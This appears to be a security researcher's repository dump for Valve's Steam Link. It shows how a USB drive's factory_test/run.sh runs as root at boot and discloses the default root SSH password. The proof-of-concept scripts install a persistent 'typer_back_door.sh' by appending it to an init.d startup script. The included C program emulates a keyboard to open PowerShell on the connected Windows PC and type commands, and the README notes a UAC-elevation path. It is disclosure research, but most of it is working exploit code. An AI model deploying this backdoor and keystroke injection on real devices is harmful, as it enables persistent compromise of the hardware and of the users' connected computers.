├── flashRootDir └── steamlink │ ├── config │ ├── keyboard_emu │ └── typer_back_door.sh │ └── factory_test │ └── run.sh ├── S30sshd ├── README.md ├── S01config └── keyboard_emu.c /flashRootDir/steamlink/config/keyboard_emu: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coolkingcole/Steamlink_hacking/HEAD/flashRootDir/steamlink/config/keyboard_emu -------------------------------------------------------------------------------- /flashRootDir/steamlink/factory_test/run.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | cp /mnt/config/keyboard_emu /home/steam/ 3 | cp /mnt/config/typer_back_door.sh /home/steam/ 4 | echo "/home/steam/typer_back_door.sh &" >> /etc/init.d/startup/S15audio.sh -------------------------------------------------------------------------------- /flashRootDir/steamlink/config/typer_back_door.sh: -------------------------------------------------------------------------------- 1 | # Wait for streaming_client to start 2 | until pids=$(pidof streaming_client) 3 | do 4 | sleep 5 5 | done 6 | #run keyboard emulation to prove windows execution. 7 | /home/steam/keyboard_emu -------------------------------------------------------------------------------- /S30sshd: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # Script to start sshd if desired 4 | 5 | if [ -f /mnt/config/system/enable_ssh.txt ]; then 6 | # Generate ssh keys if necessary 7 | if [ ! -f /etc/ssh_host_rsa_key ]; then 8 | ssh-keygen -A 9 | fi 10 | 11 | # Set root password if needed 12 | if grep -q "root::" /etc/passwd; then 13 | passwd root <<__EOF__ 14 | steamlink123 15 | steamlink123 16 | __EOF__ 17 | fi 18 | 19 | /usr/sbin/sshd 20 | fi 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Steamlink Hacking 2 | 3 | ## Prior work 4 | It was already known that placing a flash drive in a steamlink with a specific file structure is how the Steamlink can be updated (https://support.steampowered.com/kb_article.php?ref=3966-EFLV-7805) or ssh can be enabled with a non-empty file `/steamlink/config/system/enable_ssh.txt` (https://github.com/garbear/kodi-steamlink). 5 | 6 | ## My work 7 | If the steamlink is booted with a flashdrive with the `enable_ssh.txt` file on it in the right place you can get root ssh access with the password steamlink123. This made working with the steamlink very easy. `/etc/init.d/startup/S30sshd` is the script that enables ssh. The most resent versions of the firmware do not allow password auth so you will have to enable it in the `/etc/sshd_config`. I did this by connecting uart to the device and changing the file. There is definitely an easier way to do it, but I already had it wired up so that is what I did. 8 | 9 | I was able to find another special directory structure that can be placed on a flashdrive that allows any bash script to be ran. The init.d script at `/etc/init.d/startup/S01config` at line 121 is- 10 | ``` 11 | # Run factory test if needed 12 | FACTORY_TEST=${OVERRIDE}/factory_test/run.sh 13 | if [ -f ${FACTORY_TEST} ]; then 14 | sh ${FACTORY_TEST} 15 | fi 16 | ``` 17 | 18 | A file called run.sh placed on a flashdrive at `/steamlink/factory_test/` will be ran at boot by `init.d`. init.d scripts are ran right after the root filesystem is mounted, this makes it very easy to drop files onto the system and maintain persistence if needed. 19 | 20 | ## POC 21 | ### Goal 22 | Establish persistence and execute code on Windows hosts connected to the steamlink with UAC bypass 23 | 24 | ### How it works 25 | 26 | #### Dropping 27 | The file I place here for my POC is `run.sh` this is a very simple script that copies a compiled binary placed in `/steamlink/config/keyboard_emu` and a script `/steamlink/config/typer_back_door.sh` into the home directory of a user named steam on the steamlink. Then the run.sh bash script appends `/home/steam/typer_back_door.sh &` to the end of one of the init.d startup scripts so that `typer_back_door.sh` will be ran in the background each boot. 28 | 29 | #### Persistence 30 | `typer_back_door.sh` just waits until `streaming_client` proccess is ran on the system which is launched when the steamlink is connected to a Steam instance on a remote PC then excutes the `/home/steam/keyboard_emu` binary. 31 | 32 | #### Windows Execution 33 | `keyboard_emu` Does as the name implies, it emulates key presses as if a keyboard is plugged into the steamlink. With this capability the big picture "sandbox" is escaped and we pop calc.exe. This is done by sending key presses directly to `/dev/uinput`. `ALT+ENTER` escapes the "sandbox" and `WIN+X` then `I` Opens powershell as the current user. If we instead press `A` after `WIN+X` an admin powershell instance will be launched and will have to add key presses to navigate the UAC prompt. 34 | -------------------------------------------------------------------------------- /S01config: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # Script to handle copying config files from USB and local system recovery 4 | 5 | # Setup the apps disk image 6 | APPROOT=/home/apps 7 | /etc/init.d/setup_disk_image.sh /mnt/scratch/apps.img 1G /dev/loop0 $APPROOT 8 | 9 | 10 | MOUNT_DISK=/mnt/disk 11 | MOUNT_CONFIG=/mnt/config 12 | MOUNT_SCRATCH=/mnt/scratch 13 | OVERRIDE=${MOUNT_DISK}/steamlink 14 | ERROR_MOUNTING_PARTITION_FILE=/tmp/error_mounting_partition.txt 15 | 16 | install_app_tgz() { 17 | TEMP=${APPROOT}/.installing 18 | mkdir -p ${TEMP} 19 | cd ${TEMP} 20 | tar zxf "$1" -C ${TEMP} 21 | find ${TEMP} -name toc.txt | while read toc; do 22 | app=$(dirname $toc) 23 | appname=$(basename $app) 24 | appdir=${APPROOT}/$appname 25 | if [ -e "${appdir}/.home" ]; then mv "${appdir}/.home" ${TEMP}; fi 26 | rm -rf "${appdir}" 27 | mv "${app}" "${appdir}" 28 | if [ -e ${TEMP}/.home ]; then mv ${TEMP}/.home "${appdir}"; fi 29 | done 30 | cd / 31 | rm -rf ${TEMP} 32 | } 33 | 34 | install_app_zip() { 35 | TEMP=${APPROOT}/.installing 36 | mkdir -p ${TEMP} 37 | cd ${TEMP} 38 | unzip "$1" 39 | find ${TEMP} -name toc.txt | while read toc; do 40 | app=$(dirname $toc) 41 | appname=$(basename $app) 42 | appdir=${APPROOT}/$appname 43 | if [ -e "${appdir}/.home" ]; then mv "${appdir}/.home" ${TEMP}; fi 44 | rm -rf "${appdir}" 45 | mv "${app}" "${appdir}" 46 | chmod +x -R "${appdir}" 47 | if [ -e ${TEMP}/.home ]; then mv ${TEMP}/.home "${appdir}"; fi 48 | done 49 | cd / 50 | rm -rf ${TEMP} 51 | } 52 | 53 | handle_usb_drive_partition() { 54 | # Copy any system config files 55 | # 56 | # Set the system update URL in: 57 | # ${OVERRIDE}/config/system/update_url.txt 58 | # 59 | # Set the system update branch in: 60 | # ${OVERRIDE}/config/system/update_branch.txt 61 | # 62 | if [ -d ${OVERRIDE}/config ]; then 63 | cp -r ${OVERRIDE}/config/* ${MOUNT_CONFIG}/ 64 | fi 65 | 66 | # Copy any system override files (/etc and /home are valid paths) 67 | if [ -d ${OVERRIDE}/overlay ]; then 68 | cp -r ${OVERRIDE}/overlay/* / 69 | fi 70 | 71 | # Copy any apps 72 | apps_mounted=$(grep /dev/loop0 /proc/mounts) 73 | if [ -n "${apps_mounted}" ]; then 74 | for app in ${OVERRIDE}/apps/*; do 75 | if [ -d "${app}" ]; then 76 | appname=$(basename $app) 77 | appdir=${APPROOT}/$appname 78 | rm -rf "${appdir}" 79 | cp -r "${app}" "${appdir}" 80 | chmod +x -R "${appdir}" 81 | else 82 | case "${app}" in 83 | *.tar.gz) 84 | install_app_tgz "${app}" 85 | ;; 86 | *.tgz) 87 | install_app_tgz "${app}" 88 | ;; 89 | *.zip) 90 | install_app_zip "${app}" 91 | ;; 92 | esac 93 | fi 94 | done 95 | fi 96 | 97 | # Copy any scratch files 98 | if [ -d ${OVERRIDE}/scratch ]; then 99 | cp -r ${OVERRIDE}/scratch/* ${MOUNT_SCRATCH}/ 100 | fi 101 | 102 | # Trigger a factory reset if needed 103 | if [ -f ${OVERRIDE}/factory_reset.txt ]; then 104 | mkdir -p ${MOUNT_SCRATCH}/recovery 105 | echo "--factory" >${MOUNT_SCRATCH}/recovery/command 106 | 107 | fts-set bootloader.command boot-recovery && shutdown -r now 108 | fi 109 | 110 | # Reboot for local system recovery if needed 111 | if [ -f ${OVERRIDE}/SystemUpdate.zip ]; then 112 | mkdir -p ${MOUNT_SCRATCH}/recovery 113 | cp ${OVERRIDE}/SystemUpdate.zip ${MOUNT_SCRATCH}/recovery/ 114 | echo "--update_package=/cache/recovery/SystemUpdate.zip" >${MOUNT_SCRATCH}/recovery/command 115 | # Be absolutely sure that update package has been flushed to NAND before rebooting 116 | sync 117 | mount ${MOUNT_SCRATCH} -oro,remount 118 | fts-set bootloader.command boot-recovery && shutdown -r now 119 | fi 120 | 121 | # Run factory test if needed 122 | FACTORY_TEST=${OVERRIDE}/factory_test/run.sh 123 | if [ -f ${FACTORY_TEST} ]; then 124 | sh ${FACTORY_TEST} 125 | fi 126 | } 127 | 128 | # Wait a couple seconds for the kernel to detect a USB drive 129 | for i in `seq 4`; do 130 | # Check if we have a Mass Media device on USB 131 | mass_media_class=$(find /sys/devices/soc.0/f7ee0000.usb/ -name bInterfaceClass | xargs grep 08) 132 | if [ -n "$mass_media_class" ]; then 133 | # Additional wait for the disk device to be created 134 | sleep 2 135 | mkdir -p ${MOUNT_DISK} 136 | # Iterate over all partitions 137 | for device in $(blkid | awk -F ':' '{ print $1 }'); do 138 | case $device in 139 | /dev/loop*) 140 | ;; 141 | *) 142 | echo "Found device $device" > /dev/console 143 | mount $device ${MOUNT_DISK} 144 | ret=$? 145 | if [ $ret -ne 0 ]; then 146 | # Pass device name to application, it can indidate it to user 147 | echo "$device" >> $ERROR_MOUNTING_PARTITION_FILE 148 | fi 149 | if [ -d ${OVERRIDE} ]; then 150 | handle_usb_drive_partition 151 | fi 152 | umount ${MOUNT_DISK} 153 | esac 154 | done 155 | break 156 | fi 157 | sleep 0.5 158 | done 159 | 160 | # Remove any stale recovery files 161 | if [ -d ${MOUNT_SCRATCH}/recovery -a ! -f ${OVERRIDE}/keep_recovery.txt ]; then 162 | rm -f ${MOUNT_SCRATCH}/recovery/*.zip* 163 | fi -------------------------------------------------------------------------------- /keyboard_emu.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | using namespace std; 15 | 16 | int singlekeypress(int fd_key_emulator, int key, int mili) { 17 | // struct member for input events 18 | struct input_event key_input_event; 19 | memset(&key_input_event, 0, sizeof(input_event)); 20 | 21 | // key press event for 'a' 22 | key_input_event.type = EV_KEY; 23 | key_input_event.code = key; 24 | key_input_event.value = 1; 25 | 26 | // now write to the file descriptor 27 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 28 | 29 | memset(&key_input_event, 0, sizeof(input_event)); 30 | // EV_SYN for key press event 31 | key_input_event.type = EV_SYN; 32 | key_input_event.code = SYN_REPORT; 33 | key_input_event.value = 0; 34 | 35 | // now write to the file descriptor 36 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 37 | 38 | memset(&key_input_event, 0, sizeof(input_event)); 39 | 40 | // key release event for 'a' 41 | key_input_event.type = EV_KEY; 42 | key_input_event.code = key; 43 | key_input_event.value = 0; 44 | 45 | usleep(mili * 1000); 46 | // now write to the file descriptor 47 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 48 | 49 | memset(&key_input_event, 0, sizeof(input_event)); 50 | // EV_SYN for key press event 51 | key_input_event.type = EV_SYN; 52 | key_input_event.code = SYN_REPORT; 53 | key_input_event.value = 0; 54 | 55 | // now write to the file descriptor 56 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 57 | return 0; 58 | } 59 | 60 | int pressandhold2(int fd_key_emulator, int key1, int key2, int mili) { 61 | // struct member for input events 62 | struct input_event key_input_event; 63 | memset(&key_input_event, 0, sizeof(input_event)); 64 | 65 | // key press event for 'a' 66 | key_input_event.type = EV_KEY; 67 | key_input_event.code = key1; 68 | key_input_event.value = 1; 69 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 70 | memset(&key_input_event, 0, sizeof(input_event)); 71 | 72 | // EV_SYN for key press event 73 | key_input_event.type = EV_SYN; 74 | key_input_event.code = SYN_REPORT; 75 | key_input_event.value = 0; 76 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 77 | memset(&key_input_event, 0, sizeof(input_event)); 78 | 79 | // key press event for 'a' 80 | key_input_event.type = EV_KEY; 81 | key_input_event.code = key2; 82 | key_input_event.value = 1; 83 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 84 | memset(&key_input_event, 0, sizeof(input_event)); 85 | 86 | // EV_SYN for key press event 87 | key_input_event.type = EV_SYN; 88 | key_input_event.code = SYN_REPORT; 89 | key_input_event.value = 0; 90 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 91 | memset(&key_input_event, 0, sizeof(input_event)); 92 | 93 | usleep(mili * 1000); 94 | 95 | // key release event for 'a' 96 | key_input_event.type = EV_KEY; 97 | key_input_event.code = key1; 98 | key_input_event.value = 0; 99 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 100 | memset(&key_input_event, 0, sizeof(input_event)); 101 | 102 | // EV_SYN for key press event 103 | key_input_event.type = EV_SYN; 104 | key_input_event.code = SYN_REPORT; 105 | key_input_event.value = 0; 106 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 107 | 108 | // key release event for 'a' 109 | key_input_event.type = EV_KEY; 110 | key_input_event.code = key2; 111 | key_input_event.value = 0; 112 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 113 | memset(&key_input_event, 0, sizeof(input_event)); 114 | 115 | // EV_SYN for key press event 116 | key_input_event.type = EV_SYN; 117 | key_input_event.code = SYN_REPORT; 118 | key_input_event.value = 0; 119 | write(fd_key_emulator, &key_input_event, sizeof(input_event)); 120 | 121 | return 0; 122 | } 123 | 124 | /* 125 | * 126 | */ 127 | int main(int argc, char** argv) { 128 | 129 | // create uinput file descriptor 130 | int fd_key_emulator; 131 | 132 | // open file descriptor 133 | fd_key_emulator = open("/dev/uinput", O_WRONLY | O_NONBLOCK); 134 | 135 | // uinput_user_dev struct for fake keyboard 136 | struct uinput_user_dev dev_fake_keyboard; 137 | memset(&dev_fake_keyboard, 0, sizeof(uinput_user_dev)); 138 | snprintf(dev_fake_keyboard.name, UINPUT_MAX_NAME_SIZE, "kb-emulator"); 139 | dev_fake_keyboard.id.bustype = BUS_USB; 140 | dev_fake_keyboard.id.vendor = 0x01; 141 | dev_fake_keyboard.id.product = 0x01; 142 | dev_fake_keyboard.id.version = 1; 143 | 144 | 145 | 146 | /**configure the input device to send type of events, inform to subsystem which 147 | * type of input events we are using via ioctl calls. 148 | * UI_SET_EVBIT ioctl request is used to applied on uinput descriptor to enable a type of event. 149 | **/ 150 | // enable key press/release event 151 | ioctl(fd_key_emulator, UI_SET_EVBIT, EV_KEY); 152 | 153 | // enable set of KEY events here 154 | for (int i=0; i < 256; i++) { 155 | ioctl(fd_key_emulator, UI_SET_KEYBIT, i); 156 | } 157 | 158 | // enable synchronization event 159 | ioctl(fd_key_emulator, UI_SET_EVBIT, EV_SYN); 160 | 161 | // now write the uinput_user_dev structure into uinput file descriptor 162 | write(fd_key_emulator, &dev_fake_keyboard, sizeof(uinput_user_dev)); 163 | 164 | // create the device via an IOCTL call 165 | ioctl(fd_key_emulator, UI_DEV_CREATE); 166 | // now fd_key_emulator represents the end-point file descriptor of the new input device. 167 | // add 1 second sleep 168 | usleep(3000*1000); 169 | 170 | printf("ALT+ENTER\n"); 171 | pressandhold2(fd_key_emulator, KEY_LEFTALT, KEY_ENTER, 25); usleep(5000*1000); 172 | 173 | printf("WIN+X\n"); 174 | pressandhold2(fd_key_emulator, KEY_LEFTMETA, KEY_X, 25); usleep(1000*1000); 175 | 176 | printf("I\n"); 177 | singlekeypress(fd_key_emulator, KEY_I, 25); usleep(1000*1000); 178 | 179 | printf("C"); 180 | singlekeypress(fd_key_emulator, KEY_C, 25); usleep(1000*1000); 181 | printf("A"); 182 | singlekeypress(fd_key_emulator, KEY_A, 25); usleep(1000*1000); 183 | printf("L"); 184 | singlekeypress(fd_key_emulator, KEY_L, 25); usleep(1000*1000); 185 | printf("C"); 186 | singlekeypress(fd_key_emulator, KEY_C, 25); usleep(1000*1000); 187 | printf("."); 188 | singlekeypress(fd_key_emulator, KEY_DOT, 25); usleep(1000*1000); 189 | printf("E"); 190 | singlekeypress(fd_key_emulator, KEY_E, 25); usleep(1000*1000); 191 | printf("X"); 192 | singlekeypress(fd_key_emulator, KEY_X, 25); usleep(1000*1000); 193 | printf("E"); 194 | singlekeypress(fd_key_emulator, KEY_E, 25); usleep(1000*1000); 195 | 196 | printf("\nEnter\n"); 197 | singlekeypress(fd_key_emulator, KEY_ENTER, 25); usleep(1000*1000); 198 | 199 | return 0; 200 | } --------------------------------------------------------------------------------